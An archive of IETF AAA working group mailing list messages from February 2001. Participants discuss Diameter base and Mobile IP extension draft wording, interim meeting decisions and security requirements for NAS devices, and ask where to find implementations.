mailto:fredrik.johansson@ipunplugged.com http://www.ipunplugged.com From owner-aaa-bof@merit.edu Thu Feb 8 10:04:24 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA09321 for ; Thu, 8 Feb 2001 10:04:24 -0500 (EST) Received: by segue.merit.edu (Postfix) id 602865DE7D; Thu, 8 Feb 2001 10:01:55 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 3D44B5DE82; Thu, 8 Feb 2001 10:01:55 -0500 (EST) Received: from localhost.ipunplugged.com (unknown [213.88.134.217]) by segue.merit.edu (Postfix) with ESMTP id 3E07C5DE7D for ; Thu, 8 Feb 2001 10:01:51 -0500 (EST) Received: from MARTINSPC (c9.local.ipunplugged.com [192.168.4.208]) by localhost.ipunplugged.com (8.9.3/8.9.3) with SMTP id QAA16602 for ; Thu, 8 Feb 2001 16:02:15 +0100 From: "Martin Andersson" To: "AAA-WG" Subject: [AAA-WG]: Question about DIAMETER_MISSING_AVP.. Date: Thu, 8 Feb 2001 16:01:33 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi In "draft-calhoun-diameter-18.txt" section "5.2.5 Permanent Failures" the last sentence in the part about DIAMETER_MISSING_AVP is very unclear to me. It says: The data portion of the Failed-AVP MUST have its AVP Code set to the Data field of the missing AVP. Does this mean that the data portion of the Failed-AVP should be set to contain only the Avp Code of the Failed AVP? Could someone please explain this to me? /Martin From owner-aaa-bof@merit.edu Thu Feb 8 10:42:04 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA10712 for ; Thu, 8 Feb 2001 10:42:04 -0500 (EST) Received: by segue.merit.edu (Postfix) id 25D6C5DE4C; Thu, 8 Feb 2001 10:41:45 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 11A325DE46; Thu, 8 Feb 2001 10:41:45 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id 080FE5DDA7 for ; Thu, 8 Feb 2001 10:41:43 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA08337; Thu, 8 Feb 2001 07:41:36 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA04217; Thu, 8 Feb 2001 07:41:34 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id HAA13312; Thu, 8 Feb 2001 07:41:32 -0800 (PST) Date: Thu, 8 Feb 2001 07:41:33 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: Re: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt To: Fredrik Johansson Cc: AAA Listan In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=iso-8859-1 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from QUOTED-PRINTABLE to 8bit by ietf.org id KAA10712 > section 1.2 §2. > "The request received by the AAAF is forwarded to abc.com's AAAH server." > should be to xyz.com's AAAH server. ok. > > section 2.1 > "If the mobile node's home address is zero, the foreign agent MUST NOT > include a MIP-Mobile-Node-Address AVP in the AMR. In this case, the AAAF MAY > set the Foreign-Home-Agent-Available flag in the MIP-Feature-Vector AVP in > the AMR message to indicate that it is willing to assign a Home Agent in the > visited domain." > > Should it be: "If the mobile node's Home Agent address is zero, the foreign > agent MUST NOT include a MIP-Home-Agent-Address AVP in the AMR. ..." Why? The mobile MAY have specified a home agent, but not a home address. > > Should the Session-ID AVP be { Session-ID } or < Session-ID >, since it is > required and draft-calhoun-diameter-base-18.txt states that "When present > the Session-ID SHOULD appear immediatelly following the Diameter Header", I > believe it should be > > Message Format > ::= > or {Session-ID} <------ > {User-Name} > {Host-Name} > . > . > . > > Same thing applies to all messages. Good point. The Session ID SHOULD be the first AVP, but it was never enforced in the ABNF. Perhaps it is time to do so. > > Section 2.2 §3 > > "The AMA message MUST contain the MIP-FA-to-HA-Key, MIP-FA-to-MN-Key > and MIP-Reg-Reply AVPs if they were received by AAAH in the HAA > message." > > Should the keys be sent via the Home Agent, according to section 5. FA-to-Ha > and Fa-to-Mn keys are only included in the AMA, thus never received in the > HAA. The HA never receives the keys destined for the Foreign Agent. The AMA message is the one that the HA adds on the FA keys. It *could* be possible to allow the FA keys in the HAR, and require that the same keys be present in the HAA. This would reduce state information on the AAAHso it could be advantageous. Is this your reasoning? > > Section 3.1 > DIAMETER_ERROR_BAD_HAR-day 6013 > What's the -day? An attempt at Humor... Bad Hair Day :) > > Section 5.2 > Shouldn't the Mn-Fa-key be copied to the General MN-FA Key Reply Extension, > not the Registration Key Reply from Home Agent. If so, the reference should > be to [15] not [17] > > Reference 15 draft-calhoun-mobileip-aaa-key-01.txt should be 03.txt Yes, this is correct. Thanks for the your comments. I will have these bugs fixed by the IETF deadline. PatC From owner-aaa-bof@merit.edu Thu Feb 8 11:51:14 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA12842 for ; Thu, 8 Feb 2001 11:51:13 -0500 (EST) Received: by segue.merit.edu (Postfix) id 975FC5DE46; Thu, 8 Feb 2001 11:50:43 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 818B45DE4E; Thu, 8 Feb 2001 11:50:43 -0500 (EST) Received: from localhost.ipunplugged.com (unknown [213.88.134.217]) by segue.merit.edu (Postfix) with ESMTP id 4FF9D5DE46 for ; Thu, 8 Feb 2001 11:50:41 -0500 (EST) Received: from fredrikj (c38.local.ipunplugged.com [192.168.4.237]) by localhost.ipunplugged.com (8.9.3/8.9.3) with SMTP id RAA17919; Thu, 8 Feb 2001 17:51:10 +0100 From: "Fredrik Johansson" To: "Patrice Calhoun" Cc: "AAA Listan" Subject: RE: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt Date: Thu, 8 Feb 2001 17:52:58 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 8bit >-----Original Message----- >From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf >Of Patrice Calhoun >Sent: den 8 februari 2001 16:42 >To: Fredrik Johansson >Cc: AAA Listan >Subject: Re: [AAA-WG]: Comments on >draft-calhoun-diameter-mobileip-12.txt > > >> section 1.2 §2. >> "The request received by the AAAF is forwarded to abc.com's AAAH server." >> should be to xyz.com's AAAH server. > >ok. > >> >> section 2.1 >> "If the mobile node's home address is zero, the foreign agent MUST NOT >> include a MIP-Mobile-Node-Address AVP in the AMR. In this case, >the AAAF MAY >> set the Foreign-Home-Agent-Available flag in the >MIP-Feature-Vector AVP in >> the AMR message to indicate that it is willing to assign a Home >Agent in the >> visited domain." >> >> Should it be: "If the mobile node's Home Agent address is zero, >the foreign >> agent MUST NOT include a MIP-Home-Agent-Address AVP in the AMR. ..." > >Why? The mobile MAY have specified a home agent, but not a home address. Ok, the mobile MAY have specified a home agent, but not a home address, but then the question is if this address is in the home or visited domain. The AAAH can not decide to assign a home agent in a foreign network if not requested by the mobile node, so why should the AAAF bother to offer one? I realize that if the specified home agent is in the home network, the mobile node should have set the home address to 255.255.255.255, not zero if it does care about the address requested. That way the AAAF will always asume that it is willing to have a home agent in the visited domain unless it explicitly specifies not to. B.T.W. How does the mobile node request a home agent in the visited domain? It's not enough to just set the home address and home agent address to zero. If I'm not misstaken, I recall from an old (or some other) draft that is is done by setting the home agent address to 255.255.255.255. Or am I to tired to thing right? Anyway, I believe that section 4.7 (MIP Feature Vector AVP) needs to be clearer on how this is specified. > >> >> Should the Session-ID AVP be { Session-ID } or < Session-ID >, >since it is >> required and draft-calhoun-diameter-base-18.txt states that "When present >> the Session-ID SHOULD appear immediatelly following the Diameter >Header", I >> believe it should be >> >> Message Format >> ::= >> or {Session-ID} > <------ >> {User-Name} >> {Host-Name} >> . >> . >> . >> >> Same thing applies to all messages. > >Good point. The Session ID SHOULD be the first AVP, but it was >never enforced >in the ABNF. Perhaps it is time to do so. > >> >> Section 2.2 §3 >> >> "The AMA message MUST contain the MIP-FA-to-HA-Key, MIP-FA-to-MN-Key >> and MIP-Reg-Reply AVPs if they were received by AAAH in the HAA >> message." >> >> Should the keys be sent via the Home Agent, according to section >5. FA-to-Ha >> and Fa-to-Mn keys are only included in the AMA, thus never >received in the >> HAA. > >The HA never receives the keys destined for the Foreign Agent. The >AMA message >is the one that the HA adds on the FA keys. It *could* be possible to allow >the FA keys in the HAR, and require that the same keys be present >in the HAA. >This would reduce state information on the AAAHso it could be advantageous. > >Is this your reasoning? Yes, this is the way I thought it was done, and had it implemented, then I did not see the MIP-FA-TO-HA-Key and MIP-FA-TO-MN-Key in the HAR ABNF so I assumed that they were not sent via the HA anymore. Of course they could go under *[ AVP ], but I believe it is clearer if the be marked explicitly as optional in the HAR and HAA. And also a comment is needed that if they are present in the HAR, then it's a MUST to include them in the HAA. /Fredrik > >> >> Section 3.1 >> DIAMETER_ERROR_BAD_HAR-day 6013 >> What's the -day? > >An attempt at Humor... Bad Hair Day :) > >> >> Section 5.2 >> Shouldn't the Mn-Fa-key be copied to the General MN-FA Key Reply >Extension, >> not the Registration Key Reply from Home Agent. If so, the >reference should >> be to [15] not [17] >> >> Reference 15 draft-calhoun-mobileip-aaa-key-01.txt should be 03.txt > >Yes, this is correct. > >Thanks for the your comments. I will have these bugs fixed by the IETF >deadline. > >PatC > From owner-aaa-bof@merit.edu Thu Feb 8 12:12:37 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA13459 for ; Thu, 8 Feb 2001 12:12:36 -0500 (EST) Received: by segue.merit.edu (Postfix) id 8F4F65DECA; Thu, 8 Feb 2001 12:09:36 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 734C05DEB9; Thu, 8 Feb 2001 12:09:36 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by segue.merit.edu (Postfix) with ESMTP id EFFEF5DECA for ; Thu, 8 Feb 2001 12:09:32 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA19069; Thu, 8 Feb 2001 09:09:28 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA25834; Thu, 8 Feb 2001 09:09:01 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id JAA14420; Thu, 8 Feb 2001 09:08:59 -0800 (PST) Date: Thu, 8 Feb 2001 09:09:00 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: [AAA-WG]: Interim Meeting: Summary of changes To: aaa-wg@merit.edu, diameter@diameter.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk All, Yesterday we had a very successful and productive Interim meeting, and came away with the following changes: 1. Base spec must state that only one persistent connection is used between two peers. 2. Authentication/Authorization messages MUST include an a maximum wait time that the NAS is willing to wait. If a server determines that a request will take longer to complete, a status message is returned to the NAS. 3. The base spec will include text on load balancing across multiple proxies, and will document Pearson's hash, and use the NAI as the seed. The hash algorithm can be found in draft-ietf-dhc-loadb-03.txt. 4. The Watchdog is back in the protocol. The watchdog is sent when a connection with a peer is IDLE. This proactive message is intended to determine whether connectivity with a peer is still available. The protocol will specify a time of 3 seconds, but will recommend that it be adaptive if the implementation that retrieve information from the transport (e.g. Connection Manager). This message is not sent if requests are pending. since the Device- Status-Ind (see below) would be used to communicate errors. 5. The DIAMETER header includes an Identifier field, but it's value MAY change at each hop. Therefore, a server has no way to detect duplicate messages, since the same message MAY be received from multiple downstream proxies. A e2e message identifier (that does NOT change en-route) is needed. 6. A new non-proxiable message is needed, called the Device-Status-Ind. This message is used by Diameter proxies to send errors to other proxies. Errors such as "I'm busy", "Cannot reach the requested domain", and others must be handled by proxies, and not necessarily the NAS (unless the proxy has no recourse). This means that the MRI will be better documented to only handle a smaller number of errors. 7. In order to support #6 above, a proxy now MUST cache all pending request and query messages. New text will be needed to make this clear. I think that the whole failover text needs to be moved to a separate section. 8. On the NAS (and FA) TCP is a MUST, and a note will be added stating that future versions of the spec MAY require SCTP as well. Servers MUST support both TCP AND SCTP. 9. The ICV and the Encrypted-Payload are gone. Transmission level security is achieved via SSL and IPSec. NAS (and FA) MUST do IP Security, Proxies and Home Servers MUST support both SSL and IPSec. 10. Object Security MUST be supported by NASes (and FA) as well as Home Servers, but not proxies. 11. A new set of messages will be needed, to exchange Security policies. When a NAS communicates with a new domain, it issues a request and receives a response. The request/response MAY be used to exchange keying information, and MAY require multiple round trips (depending upon the e2e solution used). Furthermore, the home MAY add additional security policies in the response. I am not sure where this message belongs (either in the base spec, or a separate spec), but it was determined that e2e was mandatory from the beginning, so the base spec cannot move along until this spec is completed. 12. The Destionation-NAI is used in both directions. Currently, the base spec only requires it for server initiated transactions to the NAS. However, there are certain instances where multiple round trips MAY be required (e.g. EAP) and it is necessary for the same home server to be used. Furthermore, when e2e is used, and a symmetric key is exchanged, it is imperative that the same server be used. Yes, this will NOT allow failover procedures to occur, but if an error is received stating that a server cannot be reached, the transaction can be restarted. 13. Conflicting Result-Codes MUST be handled, since it is likely to occur when e2e security is used (the initial successful Result-Code needs to be overwritten by a failure by an intermediate proxy, but the proxy cannot just change the value of the Result-Code, since it would break e2e, and therefore must add an additional Result-Code AVP). 14. A Diameter node SHOULD periodically attempt to connect to peers that are in the IDLE state. A default, reasonable, timer must be provided. Race conditions must be handled, and documented (perhaps an election process?) Somehow, all these changes will be included in the next version of the protocol, due prior to the IETF deadline. Thanks, PatC From owner-aaa-bof@merit.edu Thu Feb 8 12:42:14 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14474 for ; Thu, 8 Feb 2001 12:42:14 -0500 (EST) Received: by segue.merit.edu (Postfix) id B36785DE5D; Thu, 8 Feb 2001 12:41:54 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id A2EA75DE5C; Thu, 8 Feb 2001 12:41:54 -0500 (EST) Received: from newman.frascone.com (frascone.com [216.62.83.25]) by segue.merit.edu (Postfix) with SMTP id 61C235DE51 for ; Thu, 8 Feb 2001 12:41:52 -0500 (EST) Received: (qmail 30815 invoked by uid 500); 8 Feb 2001 17:43:02 -0000 Date: Thu, 8 Feb 2001 11:43:02 -0600 From: David Frascone To: Patrice Calhoun Cc: aaa-wg@merit.edu, diameter@diameter.org Subject: Re: [AAA-WG]: Interim Meeting: Summary of changes Message-ID: <20010208114302.D29914@newman.frascone.com> Mail-Followup-To: Patrice Calhoun , aaa-wg@merit.edu, diameter@diameter.org References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from pcalhoun@nasnfs.eng.sun.com on Thu, Feb 08, 2001 at 09:09:00AM -0800 X-encrypt-payload: no Sender: owner-aaa-bof@merit.edu Precedence: bulk First of all, I want to commend the attendees of the interim meeting. They got an incredible amount of work done! But, I have some comments below about one of their decisions. > 9. The ICV and the Encrypted-Payload are gone. Transmission level security is > achieved via SSL and IPSec. NAS (and FA) MUST do IP Security, Proxies and > Home Servers MUST support both SSL and IPSec. > 10. Object Security MUST be supported by NASes (and FA) as well as Home > Servers, > but not proxies. > 11. A new set of messages will be needed, to exchange Security policies. When > a > NAS communicates with a new domain, it issues a request and receives a > response. The request/response MAY be used to exchange keying information, > and MAY require multiple round trips (depending upon the e2e solution > used). > Furthermore, the home MAY add additional security policies in the > response. I > am not sure where this message belongs (either in the base spec, or a > separate spec), but it was determined that e2e was mandatory from the > beginning, so the base spec cannot move along until this spec is completed. I have to say I disagree with the new approach to security. I don't mind the ipsec/SSL between proxies, but the "beauty" of RADIUS was that it was very simple to implement, and did not add much network traffic. Also, RADIUS take many resources to run, which was good since NASs had low memory and slow CPUs. I think that if we require IKE/IPSEC and/or SSL at the NAS level, then we are losing all of the benefit that RADIUS had. In my opinion, we were supposed to "improve" over RADIUS, and I don't consider this change an "improvement". Just my $.02 worth, --Dave From owner-aaa-bof@merit.edu Thu Feb 8 12:43:18 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA14519 for ; Thu, 8 Feb 2001 12:43:17 -0500 (EST) Received: by segue.merit.edu (Postfix) id 9B21A5DE5E; Thu, 8 Feb 2001 12:42:59 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 88E775DE54; Thu, 8 Feb 2001 12:42:59 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by segue.merit.edu (Postfix) with ESMTP id 10E2B5DE5C for ; Thu, 8 Feb 2001 12:42:57 -0500 (EST) Received: from engmail2.Eng.Sun.COM ([129.146.1.25]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA08747; Thu, 8 Feb 2001 09:42:54 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA02825; Thu, 8 Feb 2001 09:42:53 -0800 (PST) Received: from darius (darius.Eng.Sun.COM [10.6.84.105]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with SMTP id JAA15136; Thu, 8 Feb 2001 09:42:50 -0800 (PST) Date: Thu, 8 Feb 2001 09:42:51 -0800 (PST) From: Patrice Calhoun Reply-To: Patrice Calhoun Subject: RE: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt To: Fredrik Johansson Cc: Patrice Calhoun , AAA Listan In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-aaa-bof@merit.edu Precedence: bulk > >Why? The mobile MAY have specified a home agent, but not a home address. > > Ok, the mobile MAY have specified a home agent, but not a home address, but > then the question is if this address is in the home or visited domain. The > AAAH can not decide to assign a home agent in a foreign network if not > requested by the mobile node, so why should the AAAF bother to offer one? I > realize that if the specified home agent is in the home network, the mobile > node should have set the home address to 255.255.255.255, not zero if it > does care about the address requested. That way the AAAF will always asume > that it is willing to have a home agent in the visited domain unless it > explicitly specifies not to. > > B.T.W. How does the mobile node request a home agent in the visited domain? > It's not enough to just set the home address and home agent address to zero. > If I'm not misstaken, I recall from an old (or some other) draft that is is > done by setting the home agent address to 255.255.255.255. Or am I to tired > to thing right? I don't think that we stated that home agent would be set to all ones, since a home address of all ones implicitely requests a foreign home agent. I assume that you agree that a Home Agent and Home Address MUST be colocated, right? > > Anyway, I believe that section 4.7 (MIP Feature Vector AVP) needs to be > clearer on how this is specified. ok, I will take a look. > > > >Is this your reasoning? > > Yes, this is the way I thought it was done, and had it implemented, then I > did not see the MIP-FA-TO-HA-Key and MIP-FA-TO-MN-Key in the HAR ABNF so I > assumed that they were not sent via the HA anymore. > Of course they could go under *[ AVP ], but I believe it is clearer if the > be marked explicitly as optional in the HAR and HAA. And also a comment is > needed that if they are present in the HAR, then it's a MUST to include them > in the HAA. Correct. I believe that we should include them in the HAR. I also would prefer to reduce state on the AAAH. I know they used to be there, and were at the last connectathon, and somehow magically disappeared :( PatC From owner-aaa-bof@merit.edu Thu Feb 8 14:55:15 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA18164 for ; Thu, 8 Feb 2001 14:55:15 -0500 (EST) Received: by segue.merit.edu (Postfix) id 7F2EC5DDA1; Thu, 8 Feb 2001 14:54:58 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 695F95DDCB; Thu, 8 Feb 2001 14:54:58 -0500 (EST) Received: from smtp1.kolumbus.fi (smtp1.kolumbus.fi [193.229.0.36]) by segue.merit.edu (Postfix) with ESMTP id A12B65DDA1 for ; Thu, 8 Feb 2001 14:54:56 -0500 (EST) Received: from jariws1 (ab127d3hel.dial.kolumbus.fi [212.54.18.127]) by smtp1.kolumbus.fi (8.9.0/8.9.0) with SMTP id VAA27897; Thu, 8 Feb 2001 21:54:28 +0200 (EET) Message-ID: <005401c09208$f4fba4e0$8a1b6e0a@arenanet.fi> From: "Jari Arkko" To: "David Frascone" , "Patrice Calhoun" Cc: , References: <20010208114302.D29914@newman.frascone.com> Subject: Re: [AAA-WG]: Interim Meeting: Summary of changes Date: Thu, 8 Feb 2001 21:54:30 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit David Frascone wrote > I have to say I disagree with the new approach to security. I don't mind the > ipsec/SSL between proxies, but the "beauty" of RADIUS was that it was very > simple to implement, and did not add much network traffic. Also, RADIUS > take many resources to run, which was good since NASs had low memory and > slow CPUs. > > I think that if we require IKE/IPSEC and/or SSL at the NAS level, then we are > losing all of the benefit that RADIUS had. Well, most OSes today have native IPsec. In fact, many NAS boxes seem to have IPsec since they tend to want to support L2TP security. SSL libraries can be easily obtained. The same stuff can, and is, used to protect many things. Plus not just integrity but also encryption can be provided. Also, we could actually specify MUST IPsec ESP and MAY IKE in order to make things easier for NASes. Jari From owner-aaa-bof@merit.edu Fri Feb 9 03:56:43 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA12785 for ; Fri, 9 Feb 2001 03:56:43 -0500 (EST) Received: by segue.merit.edu (Postfix) id 594945DDF2; Fri, 9 Feb 2001 03:56:20 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 28ECC5DE41; Fri, 9 Feb 2001 03:56:20 -0500 (EST) Received: from localhost.ipunplugged.com (unknown [213.88.134.217]) by segue.merit.edu (Postfix) with ESMTP id C125E5DDF2 for ; Fri, 9 Feb 2001 03:56:17 -0500 (EST) Received: from fredrikj (c38.local.ipunplugged.com [192.168.4.237]) by localhost.ipunplugged.com (8.9.3/8.9.3) with SMTP id JAA24918; Fri, 9 Feb 2001 09:56:45 +0100 From: "Fredrik Johansson" To: "Patrice Calhoun" Cc: "AAA Listan" Subject: RE: [AAA-WG]: Comments on draft-calhoun-diameter-mobileip-12.txt Date: Fri, 9 Feb 2001 09:58:34 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) In-Reply-To: X-Mimeole: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit >-----Original Message----- >From: owner-aaa-bof@merit.edu [mailto:owner-aaa-bof@merit.edu]On Behalf >Of Patrice Calhoun >Sent: den 8 februari 2001 18:43 >To: Fredrik Johansson >Cc: Patrice Calhoun; AAA Listan >Subject: RE: [AAA-WG]: Comments on >draft-calhoun-diameter-mobileip-12.txt > > >> >Why? The mobile MAY have specified a home agent, but not a home address. >> >> Ok, the mobile MAY have specified a home agent, but not a home >address, but >> then the question is if this address is in the home or visited >domain. The >> AAAH can not decide to assign a home agent in a foreign network if not >> requested by the mobile node, so why should the AAAF bother to >offer one? I >> realize that if the specified home agent is in the home network, >the mobile >> node should have set the home address to 255.255.255.255, not zero if it >> does care about the address requested. That way the AAAF will >always asume >> that it is willing to have a home agent in the visited domain unless it >> explicitly specifies not to. >> >> B.T.W. How does the mobile node request a home agent in the >visited domain? >> It's not enough to just set the home address and home agent >address to zero. >> If I'm not misstaken, I recall from an old (or some other) draft >that is is >> done by setting the home agent address to 255.255.255.255. Or am >I to tired >> to thing right? > >I don't think that we stated that home agent would be set to all >ones, since a >home address of all ones implicitely requests a foreign home >agent. I assume >that you agree that a Home Agent and Home Address MUST be colocated, right? I agree that the MUST be colocated. And I guess that you mean that a HOME AGENT address of all ones implicitely requests a foreign home agent, not a home address of all ones. Suggested change in Section 4.7 "If the mobile node requests a home agent in the foreign network, and the AAAF authorizes the request, the AAAF MUST set the Home-Agent- In-Foreign-Network bit to one." TO: "If the mobile node requests a home agent in the foreign network by setting the home agent address to all ones, and the AAAF authorizes the request, the AAAF MUST set the Home-Agent-In-Foreign-Network bit to one." From Section 1.3 "The Diameter Mobile IP extension allows a Home Agent to be allocated in a foreign network, as required in [3, 16]. When a foreign agent detects that the mobile node has a home agent address equal to 0.0.0.0 or 255.255.255.255 in the Registration Request message, it MUST add a MIP-Feature-Vector AVP with the Home-Agent-Requested flag set to one. If the home agent address is equal to 255.255.255.255, then the foreign agent also MUST set the Home-Address-Allocatable- Only-in-Home-Domain flag equal to one." How can the request be for a home agent in foreign network and the Home-Address-Allocatable-Only-in-Home-Domain be set? Then the addresses are NOT colocated. Are we missing a flag, Foreign-Home-Agent-Requested ? > >> >> Anyway, I believe that section 4.7 (MIP Feature Vector AVP) needs to be >> clearer on how this is specified. > >ok, I will take a look. > >> > >> >Is this your reasoning? >> >> Yes, this is the way I thought it was done, and had it >implemented, then I >> did not see the MIP-FA-TO-HA-Key and MIP-FA-TO-MN-Key in the HAR >ABNF so I >> assumed that they were not sent via the HA anymore. >> Of course they could go under *[ AVP ], but I believe it is >clearer if the >> be marked explicitly as optional in the HAR and HAA. And also a >comment is >> needed that if they are present in the HAR, then it's a MUST to >include them >> in the HAA. > >Correct. I believe that we should include them in the HAR. I also >would prefer >to reduce state on the AAAH. I know they used to be there, and were at the >last connectathon, and somehow magically disappeared :( Ok, then we agree that it should be put back in :-) /Fredrik > >PatC > > From owner-aaa-bof@merit.edu Fri Feb 9 08:06:40 2001 Received: from segue.merit.edu (segue.merit.edu [198.108.1.41]) by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA15312 for ; Fri, 9 Feb 2001 08:06:40 -0500 (EST) Received: by segue.merit.edu (Postfix) id 7C9A65DE71; Fri, 9 Feb 2001 08:06:01 -0500 (EST) Delivered-To: aaa-wg-outgoing@merit.edu Received: by segue.merit.edu (Postfix, from userid 56) id 6528C5DE41; Fri, 9 Feb 2001 08:06:01 -0500 (EST) Received: from mail3.svr.pol.co.uk (mail3.svr.pol.co.uk [195.92.193.19]) by segue.merit.edu (Postfix) with ESMTP id AE41A5DDE5 for ; Fri, 9 Feb 2001 08:05:59 -0500 (EST) Received: from modem-44.hoary-redpoll.dialup.pol.co.uk ([62.137.196.44] helo=dallam) by mail3.svr.pol.co.uk with smtp (Exim 3.13 #0) id 14RDFO-0007xE-00; Fri, 09 Feb 2001 13:05:58 +0000 Reply-To: From: "John Cushnie" To: , Subject: [AAA-WG]: Implemementations of Diameter Protocol Date: Fri, 9 Feb 2001 13:00:01 -0000 Message-ID: <001601c09298$3688e780$14866286@dallam> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Importance: Normal In-Reply-To: <20010112103501.H14405@newman.frascone.com> Sender: owner-aaa-bof@merit.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hi all, After following these maillists for a while I am now investigating the possibilities of using the Diameter Protocol for research into AAA architectures and Charging and Billing for Internet. So are there any implementations out there available for such research ? I already have the SUN implementation from David Frascone (Thanks), which only runs on SUN hardware/software. Ideally I would like to use a Linux and/or Windows based implementation, and also the charging/Accounting extensions. Or is it 'roll your own' time ? Thanks for any pointers. Regards ______________________________________________________________ John Cushnie Researcher Computing Department Lancaster University UK email: 